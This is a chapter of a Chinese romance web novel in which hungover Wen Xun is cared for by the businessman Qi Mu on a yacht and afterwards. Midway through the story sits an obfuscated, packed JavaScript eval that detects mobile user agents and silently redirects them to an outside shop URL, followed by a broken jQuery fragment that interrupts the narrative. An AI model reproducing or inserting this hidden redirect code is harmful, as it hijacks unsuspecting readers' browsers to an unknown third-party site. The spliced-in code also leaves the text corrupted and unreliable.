文趣网 > 其他小说 > 隐秘野心 > 10. Chapter 10
    温寻当然听得明白齐牧的意思,他指的是昨晚的事。

    她也不是不知道怎么回答,只不过她习惯在回答这种问题之前先看看对方的表情。

    但是夜色太沉了,掩去了男人所有表情,她读不懂他的情绪,更不知道他这句话的真正意图。

    而且,说实话,昨夜醉酒后,温寻大半的记忆都模糊不清,零碎片段混在一起,压根没什么印象。

    既然都没什么印象,也就没什么羞耻心了。

    不管如何,昨晚是他帮了自己忙。

    温寻还是懂得分寸的,顺势客套地笑了笑:“怎么会呢,早就醒啦。昨晚多谢你帮忙,辛苦你了。”

    她的语气很恭维。

    齐牧在商圈多年,阅人无数,名利场上的虚与委蛇和真心假意,他见得多了。

    所以,温寻什么时候说真话什么时候说假话,他一眼就能看出来。

    比如现在,他就知道温寻只是在敷衍讨好。

    他一直以来也很厌烦温寻在自己面前说一些客套的假话。

    “这种话就不必了。”齐牧冷冷道。

    温寻觉得尴尬又难聊。

    每次都是这样。

    和这个男人在一起就不知道聊什么好,真希望话题快点结束。

    他没有揪着刚刚的话题追问:“今天没吃东西?”

    温寻有点震惊。

    齐牧是什么神医吗,怎么能分得清自己现在的状态的。

    “你怎么知道?”她下意识反问,“刚刚其他人都以为我只是晕船。”

    “沈令仪说的。”齐牧回答。

    昨晚他挂断沈令仪的电话后,沈令仪就知道他绝不会再接电话了。

    但是沈令仪又怕温寻宿醉难受无人照看,她索性换了方式,给齐牧发了好多条留言。

    【温寻醒来要喝山楂苹果茶的,她宿醉之后没胃口,总是不记得吃饭,表哥拜托里提前准备一点东西好不好,还有……】

    齐牧看着满屏消息,只觉得荒谬。

    沈令仪什么时候把他当成保姆了?

    他有必要知道温寻喝多了之后会需要什么吗?

    尽管如此,他还是耐着性子泡好了茶。

    不过,他信前半句,却不信后半句。

    在他的认知里,人饿了就会进食是本能。

    这世上从没有人会硬生生饿着自己。

    如果在这个时代有条件的情况下还有人真的可以不吃东西饿死自己的话,被生物圈淘汰也是情理之中。

    此刻,看着眼前脸色发白强撑不适的温寻,他觉得,这个女人真该被生物圈淘汰。

    眼见她马上要再犯恶心,齐牧递给她一包苏打饼干。

    “去一楼待着,别在外面吹风。吃了饼干喝清水压一压,自己调整好。船马上要靠岸了,别吐在船上,会很丢脸的。”

    “哦……”温寻悻悻接过饼干,乖乖听了他的话,转身往一楼休息区走去。

    简单干净的碳水入腹,眩晕恶心的症状缓解了大半。温寻静静靠在一楼座椅上休息。

    看温寻小步走下去,齐牧转身回到二楼。

    刚才,他和几个投资人聊天正酣,中途却突然失神,目光频频看向窗外甲板。

    而后低声道了句失陪就离开去找温寻了。

    这艘私人游艇本就不算大,在场众人都看到了他去甲板找了一个女人。

    等他回来,场内气氛已经和刚才不一样了,变了味,在场人开始轻佻地议论。

    “看来,齐先生看人看事向来有自己的主见,从不随波逐流,旁人左右不了他的判断啊!”一人率先开口。

    另一人立刻接话追问:“怎么说?”

    “你看到甲板上那位小姐了吧,我看着眼熟,你帮我一起想想,是不是之前嫁进了沪城陆家的温小姐?齐先生好像和她很相熟啊。”

    有人立刻附和:“没错,我记起来了。你搞错了,齐先生不是和她相熟,是早年跟陆家少爷交情好。不过听说两人早就离婚了?”

    “是前不久的事。”

    话音落下,有人嗤笑一声:“说到底还是没有自知之明。半路入局的外人,终究是融不进去豪门圈层的,硬凑只会自取其辱。”

    “不是吧?可我听说这个温小姐工作能力也很强,业内很出名的。”

    “再出名还不是要嫁人,还不是要攀高枝,你看,不就攀上陆家。不过陆家不接受她咯。”

    “依我看,她最近八成又是盯上谁了吧?说不定是想攀附齐先生。齐先生可得多留心啊,别被这种女人拖累了。”

    议论声一字不落地落进齐牧耳中。

    他始终沉默,半点表情也无,喜怒不形于色,让人完全摸不透心思。

    直到杯中最后一口酒缓缓饮尽,他眼底的温度褪去,眸色沉沉,冷意无声漫开。

    刚才还议论不停的现场,瞬间陷入一片死寂。

    齐牧抬眼,轻叹了一口气,目光平静扫过刚才出声的几人:“合作这么久我倒是第一次知道,各位是靠听谣言来识人的。”

    “我找合作伙伴,看的从来是业绩和能力。靠着揣测别人私事找谈资,格局很低下。”

    “做人做事太情绪化,太流于口舌,眼界和分寸都跟不上,看来后续的合作,我也很难安心。”

    他淡淡收尾:“之前敲定的那几个联合投资项目,我需要重新评估,再斟酌一下。”

    他全程措辞都很温和,没有一句重话,也没有半个脏字。

    可在场众人却脸色发白,噤若寒蝉,连呼吸都不敢大声。

    恰好此时,梁谨岚结束了外侧交谈,走入沙龙区。

    一进门,她便撞见这幅场面。

    刚才议论不休的几人,此刻十分收敛,没人敢接话抬头。

    她眼底掠过一抹轻笑。

    这群人也太莽撞了,仗着人多随口嚼舌根,怎么会忘了他们是在齐牧面前。

    浅薄又愚蠢。

    齐牧不想再多停留,将高脚杯放在桌面,转身离场。

    人一走,紧绷的氛围才松动,那几人低声互相埋怨。

    “我刚刚就说了,让你们少说几句。”

    “你早不说,现在马后炮有什么用?”

    ……

    没过多久,游艇缓缓靠岸停稳。

    温寻随众人一同下船,胃的不适也丝毫没有缓解。

    宿醉加空腹,胃里绞痛反复翻涌,疼得她四肢发软。

    温寻心底暗自懊恼,她是真的要改掉宿醉第二天不吃东西的坏习惯了,太折腾身体太伤身了。

    她只能放慢脚步,一点点往前走。

    说来很奇怪,从船上到大路的这一段,刚刚在船上对她冷眼轻视,几乎一个表情都不给她的几个人,此刻态度突然反转了。

    路过她身侧时还主动出声问候,甚至能准确喊出她的全名。

    温寻心底觉得莫名其妙,但是因为实在不舒服,没有多余的精力去深究。

    一行人走到路边,大部分都是专车已经等候很久,寒暄几句之后就陆续乘车离开了。

    只有温寻孤身站在路边,拿出手机准备打车。

    胃部的绞痛又加剧,她有点撑不住,蹲下身蜷缩在路边,勉强操作着手机屏幕打车。

    就在这时,一辆车驶来,缓缓停在她面前。

    是齐牧的车。

    “上车。”齐牧道。

    温寻疼得不行了,火速答应:“好。”

    她勉强撑着身子风风火火坐进车里。

    因为疼得控制不了自己的四肢,四处乱撞,发出一阵噼里哐啷的响动。

    等到车门合上,她的手机响了起来。

    听筒里传来许浚尧的声音:“你刚刚是不是上了一辆车?”

    温寻立刻反应过来,估计是许浚尧人就在这附近,刚才亲眼看见了她上车。

    “你等一下。”她忍着胃部的痛勉强直起身子,伸手摇下车窗,探出头朝外面张望。

    视线很快和不远处的许浚尧撞个正着。

    “许浚尧,我在这儿!”

    看见来人,温寻下意识伸手就想去拉车门。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887605|212608||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    车门却纹丝不动。

    “嗯?”她皱起眉,有些困惑。

    身后响起齐牧冷冷的嗓音:“你这个样子还是别下车了,有什么就在车里说。”

    也不知道为什么,一股凉意就这么从齐牧那边蔓延过来,叫温寻浑身不自在。

    这时,许浚尧已经快步走到车旁了。

    他俯身朝车内望进来,看清驾驶座坐着的人是齐牧,吃了一惊,有些迟疑地在原地愣了两秒,放肆的神态也收敛了不少,周身气场因为齐牧的存在不自觉弱下去。

    “原来是齐总……齐总好。”许浚尧打招呼。

    齐牧只是淡淡点了点头,没有看两人,只是低头看手机,手指漫不经心地划着屏幕。

    “给你。”许浚尧倒像是有点把齐牧视作在场的长辈,干脆直接略过他,只对着温寻说话,伸手把一张专辑递到车窗内温寻的手上,“下次还想听再找我,我们一起去。”

    胃痛还在反反复复折磨着温寻,可一听见乐队Moth,她的精神短暂亮了那么一秒:“好啊好啊!不过,下次去,一定要带我认识主唱,行不行?”

    车内,阴影中,齐牧滑动屏幕的手指突然停住。

    “没问题。”许浚尧往后退开一步,抬手挥了挥,同温寻道别。

    温寻侧过头瞥了齐牧一眼。

    男人脸色沉得厉害,眉宇间透着一股压迫感。

    总感觉他不太高兴,但是也不知道他在不高兴些什么。

    温寻心想,这人怕是压根就没听过Moth,品味肯定不怎么样,这么寡淡又无趣的一个人,也不知道他平日里找消遣都做些什么。

    *

    回到家后,温寻直接进了房间躺下。

    她身体实在不好受,完全分不出多余的精力,也就没有和齐牧说上话。

    不过她想,齐牧应该也知道自己顾不过来,不是故意不道谢不送人的,没礼貌就没礼貌了。

    她几乎挨床就着了。

    不知道睡了多久,温寻被一阵菜下锅的滋滋声吵醒。

    她拿出手机看了一眼,自己睡了差不多一小时。

    但,楼下是谁?

    齐牧该不会也给自己联系了一个厨师吧……

    她把头发一扎,拉开了房门,悄悄往一楼看。

    楼下的人竟然是齐牧。

    他怎么没走,居然还在楼下做饭?

    温寻整个人都看傻了,恍惚间甚至怀疑自己胃痛犯得太重,还没有睡醒。

    她往后退回房门内,又竖着耳朵听了半天,再重新探出身往外张望。

    齐牧还是在楼下。

    不会吧?

    齐大总裁竟然在她家楼下厨房做饭。

    温寻心里直犯嘀咕,觉得今天简直是太阳打西边出来。

    这件事情也太反常了。

    她僵在走廊,站了好半天,脑子乱糟糟的,进退两难。

    她视线扫过房间门口,看到地上摊着一团看着像抹布的东西。

    她满心疑惑地弯腰拎起来,才看清那根本不是抹布,是一件被撕扯得破烂不堪的衬衫。

    昨晚的记忆也慢慢浮现。

    如果没记错的话,她昨天好像……还撕了他一件衣服?

    不过这确实是自己喝多了能做得出来的事情……

    她闭了闭眼,绝望地吐了口气。

    真是完蛋了。

    听起来他没有那么快结束,温寻决定先去卸妆洗澡,收拾好一切之后再考虑下不下去。

    洗完之后,她还是站在二楼,犹豫着要不要下去。

    她足足做了二十多分钟心理建设,想要怎么面对齐牧。

    直到齐牧发来消息:【醒了就下楼。】

    温寻觉得就这样一直躲着也不能解决问题,只好鬼鬼祟祟下楼了。

    厨房里飘出一股热腾腾的香气,温寻有点懵。

    齐牧系着围裙,因为在忙厨房的活,所以把袖子撸高了,露出手臂。

    温寻的视线忍不住去追踪他青筋分明,又时不时抓握用力显现出肌肉线条的小臂。